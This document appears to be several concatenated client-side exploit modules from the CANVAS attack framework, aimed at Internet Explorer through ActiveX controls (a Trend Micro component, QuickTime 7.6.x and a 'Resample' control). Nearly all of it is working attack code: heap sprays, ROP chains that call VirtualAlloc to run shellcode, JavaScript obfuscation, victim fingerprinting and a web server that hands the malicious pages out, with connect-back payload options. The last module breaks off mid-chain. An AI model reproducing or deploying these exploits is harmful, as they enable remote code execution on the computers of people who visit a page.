class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version = 0 self.name = NAME self.setInfo(DESCRIPTION) self.filename = "".join([choice(ascii_lowercase) for x in range(8)]) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.badstring = "\x00" # we want clientd to give us a plugin dict self.plugin_info = None return def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run. This is called by cliend.py """ return "MSIE" in info_dict['user_agent'] def makefile(self, request_header=None): """ Generate the HTML to be included in the exploit file """ filedata = """ <html> <head></head> <body onload="setTimeout('exploit();', 1000)"> <object ID="target" classid="clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0" width="0" height="0"></object> <div id="exploit"></div> <script type="text/javascript"> """ script = """ function hexa(val) { var str = new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str = ""; str = "%u" + hexa(addr & 0xffff) + "%u" + hexa((addr >> 16) & 0xffff); return unescape(str); } function exploit() { /// The bug // 51610000 51637000 UfPBCtrl C:\Program Files\Trend Micro\Internet Security\UfPBCtrl.dll // 5162213b 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3da6a5e2=???????? // 5162213e 57 push edi // 5162213f ffd1 call ecx // 51622141 5e pop esi // 51622142 33c0 xor eax,eax // 51622144 5f pop edi // 51622145 c21400 ret 14h /// // eax=0c0c0c0c ebx=51625ae8 ecx=51622100 edx=06fdcca2 esi=030f1980 edi=06f08314 // eip=5162213b esp=022ac8d0 ebp=022ac8fc iopl=0 nv up ei pl zr na pe nc // cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 // UfPBCtrl!DllUnregisterServer+0x28b: // 5162213b 8b4804 mov ecx,dword ptr [eax+4] ds:0023:0c0c0c10=???????? // /// Dlls without ASLR // // 10000000 10023000 TSToolbar C:\Program Files\Trend Micro\TrendSecure\TISProToolbar\TSToolbar.dll // 51580000 515d7000 TmTSHelp C:\Program Files\Trend Micro\TrendSecure\TmTSHelp.dll /// // /// Gadget 1: Get the stack. // 51595B63 94 XCHG EAX,ESP // 51595B64 0000 ADD BYTE PTR DS:[EAX],AL // 51595B66 83C4 04 ADD ESP,4 // 51595B69 5F POP EDI // 51595B6A 896E 04 MOV DWORD PTR DS:[ESI+4],EBP // 51595B6D 5E POP ESI // 51595B6E 5D POP EBP // 51595B6F C3 RETN // /// Gadget 2: Place the address of the IAT entry (VirtualAlloc) into eax // 51584101 58 POP EAX // 51584102 C3 RETN // /// Gadget 3: resolve the address of VirtualAlloc from the IAT. // 515AA19E 8B00 MOV EAX,DWORD PTR DS:[EAX] // 515AA1A0 5E POP ESI // 515AA1A1 C3 RETN // /// Gadget 4: Call VirtualAlloc // 5158C34C FFD0 CALL EAX // 5158C34E C3 RETN // /// Gadget 5: place in EDX the opcodes of a memcpy and possibly a ret // 51588FE0 5A POP EDX // 51588FE1 0100 ADD DWORD PTR DS:[EAX],EAX // 51588FE3 83C4 3C ADD ESP,3C // 51588FE6 C3 RETN /// Gadget 6: with this gadget we create a memcpy inside our vallocated buffer // so the next step is to call the crafted memcpy from inside the buffer and it // will copy the rest of the shellcode and continue executing it. // // 515A6DE6 8910 MOV DWORD PTR DS:[EAX],EDX // 515A6DE8 5D POP EBP // 515A6DE9 C3 RETN // /// Gadget 7: Place the address of the allocated buffer into EDI (destination of memcpy) // 51585835 97 XCHG EAX,EDI // 51585836 C3 RETN // /// Gadget 8: Set ESI to our shellcode and ECX to the size of our shellcode // 51587FEA 5E POP ESI // 51587FEB 59 POP ECX // 51587FEC C3 RETN // /// Gadget 9: Call the memcpy shellcode and pwn! // 5158D180 FFD7 CALL EDI // Sprayed address we can reach to. /// 051A6BFC CAFECAFE /// 05A1CD2C CAFECAFE /// 05A4004C /// 071D00C4 CAFECAFE /// 06F16A6C CAFECAFE self_address = 0x06F16A6C; valloc = 0x515B01A4; // IAT entry for VirtualAlloc memcpy_egg = 0x9090a4f3; // memcpy gadget1 = 0x51595B63; gadget2 = 0x51584101; gadget3 = 0x515AA19E; gadget4 = 0x5158C34C; gadget5 = 0x51588FE0; gadget6 = 0x515A6DE6; gadget7 = 0x51585835; gadget8 = 0x51587FEA; gadget9 = 0x5158D180; fake_vtable = myescape(0xcafecafe); // dummy fake_vtable += myescape(gadget1); // get stack fake_vtable += myescape(0xbadc0ded); // dummy@esi fake_vtable += myescape(0xbadc0ded); // dummy@ebi fake_vtable += myescape(gadget2); // eax = VirtualAlloc@IAT fake_vtable += myescape(valloc); fake_vtable += myescape(gadget3); // eax = VirtualAlloc fake_vtable += myescape(0xbadc0ded); // dummy@esi fake_vtable += myescape(gadget4); // eax = VirtualAlloc() fake_vtable += myescape(0x0); // NULL fake_vtable += myescape(0x10000); // size fake_vtable += myescape(0x3000); // MEM_COMMIT | MEM_RESERVE fake_vtable += myescape(0x40); // PAGE_EXECUTE_READWRITE fake_vtable += myescape(gadget5); fake_vtable += myescape(memcpy_egg); // edx = opcodes of our memcpy fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(0xbadc0ded); // ADD ESP,3C fake_vtable += myescape(gadget6); // [eax] = memcpy_egg fake_vtable += myescape(0xbadc0ded); // dummy@ebp fake_vtable += myescape(gadget7); fake_vtable += myescape(gadget8); fake_vtable += myescape(self_address+148); // esi = shellcode address fake_vtable += myescape(0x1000); // ecx = sizeof(shellcode) fake_vtable += myescape(gadget9); fake_vtable += myescape(memcpy_egg); // we have to "repair" the memcpy egg fake_vtable += unescape("SHELLCODE"); var crapuccino = myescape(0xcacacaca); while(fake_vtable.length < 0x7fff00) fake_vtable += fake_vtable; h1 = []; h1[0] = fake_vtable + crapuccino; var i; for (i = 1 ; i < 30 ; i++) h1[i] = h1[0].substring(0, h1[0].length) // Go! target.extSetOwner(myescape(self_address)); } """ script = script.replace('SHELLCODE', urluencode(self.shellcode)) #filedata += self.jsObfuscator.obfuscate(script) filedata += script filedata += """ </script> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): """ Called automatically """ from libs.spkproxy import header, body # header is used to store request and reponse headers header = header('SERVER') body = body() if clientheader.URL.count(self.filename): self.log('Serving HTML file') # Create the shellcode (self.shellcode) self.createShellcode() # Create the HTML Contents html = self.makefile(request_header=clientheader) body.setBody(html) header.addHeader('Content-Type', 'text/html') header.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('Redirecting to self') header.status = '302' header.addHeader('Location', self.filename) header.addHeader('Content-Type', 'text/html') return header, body def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): """ Get the required parameters from the program that ran the exploit (i.e. CANVAS GTK GUI or Command line) """ self.host = self.target.interface self.getarg("filename") self.getarg("language") return def displayVersions(self): """ XXX Called from the cmd line or canvas to show the available versions? """ for t in targets.keys(): print 'Version %d: %s' % (t, targets[t][0]) return def run(self): """ Run is the firth method that is automatically executed by CANVAS """ # Populate the needed arguments of the exploit self.getArgs() # Build the html that triggers the vulnerability filedata = self.makefile() self.log('Opening %s for output' % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.debuglog('Wrote to %s' % (self.filename), color="red") return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring='' # Shellcode is on heap or in dll #Randomise name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.pc = 0x44444444; return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] # it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def heapSpray(self,payload,heapspraycode): # This creates a heapspray of blocks that are 0x240000 (0x23f000 on Win7) in size # almost gauruntees that our spray block sits at 0xxxxx1000 or other 100 byte boundary heapprefix = wp_randomstring(220) # padding to 0x100 bytes script = """ memory = new Array(); var hs = unescape("HEAPSPRAYCODE"); while(hs.length < 0x11F600) hs += hs; hs = hs.substring(0, 0x11F600-DATALENGTH); hs = unescape("PREFIX") + hs + unescape("PAYLOAD"); try{ for(var i = 0; i < 400; i++) { memory[i]= hs.substring(0,hs.length); } } catch(err) {} """ script = script.replace('DATALENGTH',str( (0x100 + len(payload)) / 2 )) script = script.replace('HEAPSPRAYCODE',wp_urluencode(heapspraycode)) script = script.replace('PREFIX',wp_urluencode(heapprefix)) script = script.replace('PAYLOAD',wp_urluencode(payload)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") return self.jsObfuscator.obfuscate(script) else: return script def makefileWinXP(self,browser): # Exploit for Windows XP (DEP Bypass) landingAddress = 0x126A1004 heapspraycode = pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', landingAddress+4) # ptr heapspraycode += pack('<L', 0x77c1c04e) # RETN MSVCRT heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77c1f11d) # RETN 0C heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77C3A634) # mov esp,ecx while len(heapspraycode) < (0x100-8): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77c1c04e) # RETN SLIDE heapspraycode += pack('<L', 0x77c1f11d) # RETN 0C POP over above data heapspraycode += pack('<L', 0x77c1c04e) # RETN depbypass = pack('<L', 0x77c1c04e) * 10 # buffer of ret slides depbypass += self.wp_UniversalDEPBypassWinXP_VP(len(self.shellcode)+8) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload)%256)) filedata = """ <html> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ return filedata def makefileIE8_VistaWin7(self): # Exploit for IE 8 On Windows 7/Vista # This page loads a .Net DLL # mscorie .Net DLL ASLR/DEP Bypass landingAddress = 0x126A1004 heapspraycode = pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', 0x63F0575B) # MSCORIE:(0x63f0575b XCHG EAX,ESP) heapspraycode += pack('<L', 0x63F01D9A) # POP ESI, RETN heapspraycode += pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', 0x63F0237E) # MSCOREIE: CALL DWORD PTR DS:[ECX+4] while len(heapspraycode) < (0x100-8): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x63F05761) # RETN SLIDE heapspraycode += pack('<L', 0x63F03E9B) # RETN 30 POP over above data heapspraycode += pack('<L', 0x63F05761) # RETN depbypass = pack('<L', 0x63F05761) * 12 # buffer of ret slides # depbypass using mscorie depbypass += self.wp_mscorieDEPBypass(len(self.shellcode)+104) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload)%256)) filedata = """ <html> <object classid="OURDLL" height="0" width="0"></object> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html','.dll')) return filedata def makefileIE7(self): # Exploit for IE 7 # Uses the old .Net 2.0 bypass ASLR method landingAddress = 0x126A1004 heapspraycode = pack('<L', landingAddress) # ptr heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code while len(heapspraycode) < (0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x63F05761) # JUNK # Set the payload, payload is inside the loaded dll file payload = "" filedata = """ <html> <object classid="OURDLL#a.b" height="0" width="0"></object> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html','.dll')) return filedata def makefile(self,browser,osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP(browser) if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7() if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7() # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP(browser) def makesploit(self,clientheader,clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser,osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data=self.makefile(browser,osversion) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): if browser == "MSIE 7.0": self.log('WP> Serving IE7 .Net DLL file') self.vProtect = True # Needed for this type of payload p = PElib() data = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this else: self.log('WP> Serving IE8 .Net DLL file') p = PElib() data = p.createDotNETPEFileBuf("", self.pc) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','application/octet-stream') else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') self.log('WP> ****************************************') return h,b def run(self): if (self.version == 0): filedata=self.makefile('','Windows XP') dlldata ="" elif (self.version ==1): filedata=self.makefile('MSIE 7.0','') self.vProtect = True # Needed for this type of payload p = PElib() dlldata = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this elif (self.version ==2): filedata=self.makefile('MSIE 8.0','') p = PElib() dlldata = p.createDotNETPEFileBuf("", self.pc) outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s"%outputfile ) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%outputfile) if dlldata != "": dllfile = wp_outputpath(self.filename.replace('html','dll')) # create the dll file f = open(dllfile,'wb') f.write(dlldata) f.flush() f.close self.log('WP> Created DLL file %s'%dllfile) return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version = 0 self.name = NAME self.setInfo(DESCRIPTION) self.filename = "".join([choice(ascii_lowercase) for x in range(8)]) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # we want clientd to give us a plugin dict self.plugin_info = None return def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run. This is called by cliend.py """ if "MSIE" in info_dict['user_agent']: return 50 return 0 def makefile(self, request_header=None): """ Generate the HTML to be included in the exploit file """ filedata = """ <html> <head></head> <body onload="setTimeout('exploit();', 1000)"> <object id="qt" classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"></object> <div id="exploit"></div> <script type="text/javascript"> """ script = """ function hexa(val) { var str = new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str = ""; str = "%u" + hexa(addr & 0xffff) + "%u" + hexa((addr >> 16) & 0xffff); return unescape(str); } function qt_767() { // This is the bug // eax is our pointer, we point it to our fake vtable // 7750dc93 8b08 mov ecx,dword ptr [eax] ds:0023:80000000=???????? // 7750dc95 8d5508 lea edx,[ebp+8] // 7750dc98 52 push edx // 7750dc99 ff7510 push dword ptr [ebp+10h] // 7750dc9c ff750c push dword ptr [ebp+0Ch] // 7750dc9f 50 push eax // 7750dca0 ff510c call dword ptr [ecx+0Ch] // // QuickTimeStreaming.qtx // ROP Gadget 1: // // 6785FF86 94 XCHG EAX,ESP // 6785FF87 5F POP EDI // 6785FF88 5E POP ESI // 6785FF89 C3 RETN /// // ROP Gadget 2: this dereferences the address of VirtualAlloc from the IAT // 677B0244 8B01 MOV EAX,DWORD PTR DS:[ECX] // 677B0246 C3 RETN /// // ROP Gadget 3: this calls VirtualAlloc(0, size, 0x1000, 0x40) // 677A509E FFD0 CALL EAX // 677A50A0 C3 RETN // /// ROP Gadget 4 // 678D4FD5 97 XCHG EAX,EDI // 678D4FD6 C3 RETN /// // ROP Gadget 5 // 677A9B4B 8BC7 MOV EAX,EDI // 677A9B4D 5E POP ESI // 677A9B4E C3 RETN /// // ROP Gadget 6 // 677A1E27 59 POP ECX // 677A1E28 C3 RETN /// // ROP Gadget 7 // 678178D2 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> // 678178D4 5F POP EDI // 678178D5 5E POP ESI // 678178D6 C3 RETN /// // ROP Gadget 8 // 677A509E FFD0 CALL EAX // 677A50A0 C3 RETN /// Break on 7750dc93 for debugging // Sprayed address we can reach to. // 20282CB8 20282CB8 self_address = 0x20282CB8; gadget_1 = 0x6785FF86; gadget_2 = 0x677B0244; gadget_3 = 0x677A509E; gadget_4 = 0x678D4FD5; gadget_5 = 0x677A9B4B; gadget_6 = 0x677A1E27; gadget_7 = 0x678178D2; gadget_8 = 0x677A509E; valloc = 0x6791009C; // VirtualAlloc IAT Entry fake_vtable = myescape(self_address); // edi = will point to this fake_vtable += myescape(0xcafecafe); // dummy fake_vtable += myescape(gadget_6); // pop crap from stack (this will skip gadget_1) fake_vtable += myescape(gadget_1); // Get me ESP fake_vtable += myescape(gadget_6); // ecx = VirtualAlloc@IAT fake_vtable += myescape(valloc); fake_vtable += myescape(gadget_2); // eax = VirtualAlloc fake_vtable += myescape(gadget_3); // call VirtualAlloc(0, size, 0x1000, 0x40) fake_vtable += myescape(0x0); // NULL fake_vtable += myescape(0x10000); // size fake_vtable += myescape(0x3000); // MEM_COMMIT | MEM_RESERVE fake_vtable += myescape(0x40); // PAGE_EXECUTE_READWRITE fake_vtable += myescape(gadget_4); // edi = eax (valloced memory) fake_vtable += myescape(gadget_5); // eax = edi (save it) fake_vtable += myescape(self_address+84); // shellcode address fake_vtable += myescape(gadget_6); // ecx = sizeof(shellcode) fake_vtable += myescape(0x1000); // sizeof(shellcode) fake_vtable += myescape(gadget_7); // memcpy fake_vtable += myescape(0xbadc0ded); // dummy fake_vtable += myescape(0xbadc0ded); // dummy fake_vtable += myescape(gadget_8); // Call shellcode fake_vtable += unescape("SHELLCODE"); // @84 var crapuccino = myescape(0xbadc0ded); while(fake_vtable.length < 0x7fff00) fake_vtable += fake_vtable; h1 = []; h1[0] = fake_vtable + crapuccino; var i; for (i = 1 ; i < 20 ; i++) h1[i] = h1[0].substring(0, h1[0].length) var object = '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0">' + '<PARAM name="_Marshaled_pUnk" value="' + self_address + '"/>' + '</object>'; document.getElementById("exploit").innerHTML = object; } function qt_765() { // This is the bug // eax is our pointer, we point it to our fake vtable // 7750dc93 8b08 mov ecx,dword ptr [eax] ds:0023:80000000=???????? // 7750dc95 8d5508 lea edx,[ebp+8] // 7750dc98 52 push edx // 7750dc99 ff7510 push dword ptr [ebp+10h] // 7750dc9c ff750c push dword ptr [ebp+0Ch] // 7750dc9f 50 push eax // 7750dca0 ff510c call dword ptr [ecx+0Ch] // // QuickTimeStreaming.qtx // ROP Gadget 1: // // 673BEED5 94 XCHG EAX,ESP // 673BEED6 5B POP EBX // 673BEED7 59 POP ECX // 673BEED8 C3 RETN // /// ROP Gadget 2: // // 673BC20E 5B POP EBX // 673BC20F C3 RETN /// // ROP Gadget 3: this dereferences the address of VirtualAlloc from the IAT // // 673B1F38 8B01 MOV EAX,DWORD PTR DS:[ECX] // 673B1F3A C3 RETN /// // ROP Gadget 4: this calls VirtualAlloc(0, size, 0x1000, 0x40) // 6744568A FFD0 CALL EAX // 6744568C C3 RETN // /// ROP Gadget 5 // 6743E26B 97 XCHG EAX,EDI // 6743E26C 0100 ADD DWORD PTR DS:[EAX],EAX // 6743E26E 8948 0C MOV DWORD PTR DS:[EAX+C],ECX // 6743E271 C3 RETN /// // ROP Gadget 6 // 67448AFA 8BC7 MOV EAX,EDI // 67448AFC 5E POP ESI // 67448AFD C3 RETN /// // ROP Gadget 7 // 673B1122 59 POP ECX // 673B1123 C3 RETN /// // ROP Gadget 8 // 6743CD4F F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] // 6743CD51 5F POP EDI // 6743CD52 5E POP ESI // 6743CD53 C3 RETN /// // ROP Gadget 9 // 673C79A5 FFE0 JMP EAX // /// Break on 7750dc93 for debugging // Sprayed address we can reach to. self_address = 0x10022C98; gadget_1 = 0x673BEED5; gadget_2 = 0x673BC20E gadget_3 = 0x673B1F38; gadget_4 = 0x6744568A; gadget_5 = 0x6743E26B; gadget_6 = 0x67448AFA; gadget_7 = 0x673B1122; gadget_8 = 0x6743CD4F; gadget_9 = 0x673C79A5; valloc = 0x674601AC; // VirtualAlloc IAT Entry fake_vtable = myescape(0xcafecafe); fake_vtable += myescape(self_address); // ecx@1 will point to this fake_vtable += myescape(valloc); // ecx@2 will have VirtualAlloc@IAT fake_vtable += myescape(gadget_2); // pop crap fake_vtable += myescape(gadget_1); // Get me ESP fake_vtable += myescape(gadget_3); // EAX = [IAT:VirtualAlloc] fake_vtable += myescape(gadget_4); // call VirtualAlloc fake_vtable += myescape(0x0); // NULL fake_vtable += myescape(0x10000); // size fake_vtable += myescape(0x3000); // MEM_COMMIT | MEM_RESERVE fake_vtable += myescape(0x40); // PAGE_EXECUTE_READWRITE fake_vtable += myescape(gadget_5); // set edi = eax fake_vtable += myescape(gadget_6); // set eax = edi ; set esi = shellcode fake_vtable += myescape(self_address+76); // shellcode address fake_vtable += myescape(gadget_7); // ecx = sizeof(shellcode) fake_vtable += myescape(0x1000); // sizeof(shellcode) fake_vtable += myescape(gadget_8); // memcpy fake_vtable += myescape(0xbadc0ded); // dummy fake_vtable += myescape(0xbadc0ded); // dummy fake_vtable += myescape(gadget_9); // jmp to shellcode fake_vtable += unescape("SHELLCODE"); // @76 var crapuccino = myescape(0xbadc0ded); while(fake_vtable.length < 0x7fff00) fake_vtable += fake_vtable; h1 = []; h1[0] = fake_vtable + crapuccino; var i; for (i = 1 ; i < 20 ; i++) h1[i] = h1[0].substring(0, h1[0].length) var object = '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0">' + '<PARAM name="_Marshaled_pUnk" value="' + self_address + '"/>' + '</object>'; document.getElementById("exploit").innerHTML = object; } function exploit() { /// NOTE to the reader, I KNOW I've copied some parts of the exploit /// that might be shared by all the versions of the exploit but this /// way is easier to debug and extend. var version = qt.GetQuickTimeVersion(); /// Versions 7.6.7 and 7.6.6 shoudl work with the same ROP if(version == "7.6.7") qt_767(); else if(version == "7.6.6") qt_767(); else if(version == "7.6.5") qt_765(); } """ script = script.replace('SHELLCODE', urluencode(self.shellcode)) #filedata += self.jsObfuscator.obfuscate(script) filedata += script filedata += """ </script> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): """ Called automatically """ from libs.spkproxy import header, body # header is used to store request and reponse headers header = header('SERVER') body = body() if clientheader.URL.count(self.filename): self.log('Serving HTML file') # Create the shellcode (self.shellcode) self.createShellcode() # Create the HTML Contents html = self.makefile(request_header=clientheader) body.setBody(html) header.addHeader('Content-Type', 'text/html') header.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('Redirecting to self') header.status = '302' header.addHeader('Location', self.filename) header.addHeader('Content-Type', 'text/html') return header, body def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): """ Get the required parameters from the program that ran the exploit (i.e. CANVAS GTK GUI or Command line) """ self.host = self.target.interface self.getarg("filename") self.getarg("language") return def displayVersions(self): """ XXX Called from the cmd line or canvas to show the available versions? """ for t in targets.keys(): print 'Version %d: %s' % (t, targets[t][0]) return def run(self): """ Run is the firth method that is automatically executed by CANVAS """ # Populate the needed arguments of the exploit self.getArgs() # Build the html that triggers the vulnerability filedata = self.makefile() self.log('Opening %s for output' % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.debuglog('Wrote to %s' % (self.filename), color="red") return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.badstring = "\x00\x09\x0d\xff" #Randomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Make the exploit file depSc = pack('<L', 0x1001403B) # PUSH ESP, POP EDI, depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x10011BC5) #MOV EAX,EDI, depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x1001175B) #ADD EAX,20 